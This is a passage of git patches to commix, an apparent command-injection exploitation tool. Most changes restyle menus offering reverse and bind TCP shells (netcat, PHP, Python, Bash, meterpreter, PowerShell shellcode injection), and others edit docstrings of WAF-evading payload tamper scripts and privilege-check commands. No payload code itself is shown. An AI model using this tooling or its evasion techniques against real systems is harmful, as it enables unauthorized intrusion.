Style.RESET_ALL + """' for netcat bind TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. +commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 2f12bb71a9..cb887c9905 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -214,13 +214,12 @@ def netcat_version(separator): ] while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) + nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': @@ -282,22 +281,21 @@ def netcat_version(separator): def other_reverse_shells(separator): while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) + other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). +""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': @@ -489,11 +487,10 @@ def other_reverse_shells(separator): continue else: while True: - windows_reverse_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -\ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) + windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. +commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): @@ -586,12 +583,11 @@ def other_reverse_shells(separator): # Web delivery script elif other_shell == '12': while True: - web_delivery = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) + web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). +commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): @@ -671,11 +667,10 @@ def other_reverse_shells(separator): def reverse_tcp_options(separator): while True: - reverse_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index fae3025bb3..a374701281 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -19,7 +19,7 @@ """ About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backslashes" diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 2c7fd9813f..884a211bee 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backticks" diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index f405f546f8..df5e2e96d5 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -19,7 +19,7 @@ """ About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "dollaratsigns" diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 45470bb5ed..a044527cb2 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -19,7 +19,7 @@ """ About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "doublequotes" diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 5d0adcb190..912d91288c 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -20,7 +20,7 @@ """ About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "nested" diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 3d8bc259c6..585a0e795c 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -19,7 +19,7 @@ """ About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "singlequotes" diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 32b9e1fd8d..973f33f6cf 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -17,7 +17,7 @@ """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 5f89b91c19..f647e32942 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -19,7 +19,7 @@ """ About: Uses "timeout" function for time-based attacks. - * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index d3a2fa98cb..5b1b4d3e2d 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -19,7 +19,7 @@ """ About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 680ae99265..5ded16eccc 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -19,7 +19,7 @@ About: Replaces space character ('%20') with the internal field separator ('$IFS'). The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "space2ifs" diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 84cb8c9f45..6c50770eb7 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -22,7 +22,7 @@ """ About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ diff --git a/src/utils/common.py b/src/utils/common.py index 99b49c8eef..7137f1ca01 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -39,44 +39,48 @@ def is_empty(): else: return value - value = None - if "\n" in message: - message += ("\n" if message.count("\n") > 1 else "") + try: + value = None + if "\n" in message: + message += ("\n" if message.count("\n") > 1 else "") - elif len(message) == 0: - return is_empty() + elif len(message) == 0: + return is_empty() - if settings.ANSWERS: - if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty(message, default=None, check_batch=True) - else: - for item in settings.ANSWERS.split(','): - question = item.split('=')[0].strip() - answer = item.split('=')[1] if len(item.split('=')) > 1 else None - if answer and question.lower() in message.lower(): - value = answer - print(settings.print_message(message + value)) - return value - elif answer is None and value: - return is_empty() - - if value: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used the given answer." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + value)) - return value - - elif value is None: - if check_batch and menu.options.batch: + if settings.ANSWERS: + if not any(_ in settings.ANSWERS for _ in ",="): + return is_empty(message, default=None, check_batch=True) + else: + for item in settings.ANSWERS.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + value = answer + print(settings.print_message(message + value)) + return value + elif answer is None and value: + return is_empty() + + if value: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used the default behavior, running in batch mode." + debug_msg = "Used the given answer." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + default)) - return default - else: - return is_empty() - + print(settings.print_message(message + value)) + return value + + elif value is None: + if check_batch and menu.options.batch: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the default behavior, running in batch mode." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + default)) + return default + else: + return is_empty() + except KeyboardInterrupt: + print(settings.SINGLE_WHITESPACE) + raise + """ Extract regex result """ diff --git a/src/utils/menu.py b/src/utils/menu.py index 78fe3a3900..875632d9cd 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -584,7 +584,7 @@ def banner(): action="store_true", dest="offline", default=False, - help="Work in offline mode.") + help="Work in offline mode.\n") misc.add_option("--wizard", action="store_true", @@ -642,59 +642,53 @@ def _(self, *args): The "os_shell" available options. """ def os_shell_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "reverse_tcp" available options. """ def reverse_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "bind_tcp" available options. """ def bind_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") """ The available mobile user agents. """ def mobile_user_agents(): - print("""---[ """ + Style.BRIGHT + Fore.BLUE + """Available smartphones HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") + print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") """ The tab compliter (shell options). diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index f91f9ec67e..e545b77d2d 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -278,8 +278,8 @@ def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: while True: - message = "A previously stored session has been held against that host. " - message += "Do you want to resume to the " + message = "A previously stored session has been held against that target. " + message += "Do you want to resume to " message += "(" + injection_type.split(" ")[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " @@ -318,6 +318,8 @@ def notification(url, technique, injection_type): pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) + except (KeyboardInterrupt, SystemExit): + raise """ Check for specific stored parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 65ca93ef3c..14389aeae3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -58,11 +58,13 @@ class HTTPMETHOD(object): CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL +SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ @@ -173,6 +175,11 @@ def print_sub_content(sub_content): result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL return result +# Print sub content message +def print_retrieved_data(cmd, retrieved): + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL + return result + # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL @@ -234,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -507,9 +514,10 @@ def sys_argv_errors(): HOSTNAME = "hostname" WIN_HOSTNAME = "echo %COMPUTERNAME%" -# Check if current user is root +# Check if current user has excessive privileges +# Unix-like: root IS_ROOT = "echo $(id -u)" -# Check if current user is admin +# Windows: admin IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator" # Operation System. From f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 Jun 2022 07:38:21 +0300 Subject: [PATCH 0155/1023] Additional fixes / updates regarding commit https://github.com/commixproject/commix/commit/40eea73a1aea866f06defe942e5a71222a765c2b --- .../techniques/time_based/tb_enumeration.py | 359 ++---------- .../techniques/time_based/tb_file_access.py | 232 ++------ .../blind/techniques/time_based/tb_handler.py | 6 - src/core/injections/controller/checks.py | 518 +++++++++++++++++- .../techniques/classic/cb_enumeration.py | 354 ++---------- .../techniques/classic/cb_file_access.py | 216 ++------ .../techniques/eval_based/eb_enumeration.py | 351 ++---------- .../techniques/eval_based/eb_file_access.py | 188 ++----- .../techniques/file_based/fb_enumeration.py | 335 ++--------- .../techniques/file_based/fb_file_access.py | 190 ++----- .../tempfile_based/tfb_enumeration.py | 362 ++---------- .../tempfile_based/tfb_file_access.py | 229 ++------ .../techniques/tempfile_based/tfb_handler.py | 6 - .../techniques/tempfile_based/tfb_injector.py | 4 +- src/core/modules/shellshock/shellshock.py | 380 ++----------- src/core/shells/bind_tcp.py | 1 - src/core/shells/reverse_tcp.py | 1 - src/utils/settings.py | 11 +- 18 files changed, 1037 insertions(+), 2706 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 7db7f2f3cf..db2344bd2f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -44,27 +44,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = 